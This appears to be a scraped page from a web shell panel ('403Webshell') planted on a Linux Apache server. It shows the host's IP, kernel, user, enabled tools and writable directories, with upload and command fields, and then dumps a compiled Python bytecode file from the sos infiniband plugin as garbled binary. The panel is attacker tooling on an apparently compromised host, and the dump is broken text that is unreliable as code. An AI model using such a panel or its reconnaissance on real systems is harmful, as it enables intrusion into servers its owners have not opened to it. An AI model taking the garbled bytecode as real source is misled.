403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.190
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/sos/report/plugins/__pycache__/infiniband.cpython-312.pyc
�

i��dB
��,�ddlmZmZGd�dee�Zy)�)�Plugin�IndependentPluginc�"�eZdZdZdZdZdZd�Zy)�
InfinibandzInfiniband information�
infiniband)�hardware)zlibibverbs-utils�opensm�rdmazinfiniband-diagsc
���|jgd��|jd�|jgd��gd�}d}|j|�r|j|�ng}|D]�}	|j	d�r�|j||zdz�D]�}	t||zdz|zd	z�}|j�}|j�|d
k7r�A	t||zdz|zdz�}|j�}	|j�|	jd�s��d
|�d|��}
|j|D�cgc]	}|�d|
����c}�����y#t$rY��wxYw#t$rY��wxYwcc}w)N)z/etc/ofed/openib.confz/etc/ofed/opensm.confz	/etc/rdmaz/var/log/opensm*)�ibv_deviceszibv_devinfo -v�ibstat�ibstatus�
ibswitches)�ibhosts�
iblinkinfo�sminfo�	perfqueryz/sys/class/infiniband/�hfiz/portsz/ports/z/link_layerzInfiniBand
z/statez	: ACTIVE
z-C z -P � )
�
add_copy_spec�add_cmd_output�
path_isdir�listdir�
startswith�open�IOError�readline�close�endswith)�self�
ports_cmds�
IB_SYS_DIR�ibs�ib�port�p�
link_layer�s�state�opts�cs            �?/usr/lib/python3/dist-packages/sos/report/plugins/infiniband.py�setupzInfiniband.setups������
�	�	
���-�.����
�	�
�
�.�
�*.�/�/�*�*E�d�l�l�:�&�2��� 	O�B�
�
�}�}�U�#�����Z�"�_�x�%?�@�
O����Z�"�_�y�8�4�?�*�+�,�A��Z�Z�\�
����	���/����Z�"�_�y�8�4�?�(�J�K�A��
�
������	��~�~�l�3��4�)+�D�1���#�#�*�$M�Q��4�%8�$M�N�/
O� 	O������������%Ns*�E
�E�3E+�
	E�E�	E(�'E(N)�__name__�
__module__�__qualname__�
short_desc�plugin_name�profiles�packagesr-��r,rrs��)�J��K��H�I�H�:Or6rN)�sos.report.pluginsrrrr5r6r,�<module>r8s��9�BO��*�BOr6

Youez - 2016 - github.com/yon3zu
LinuXploit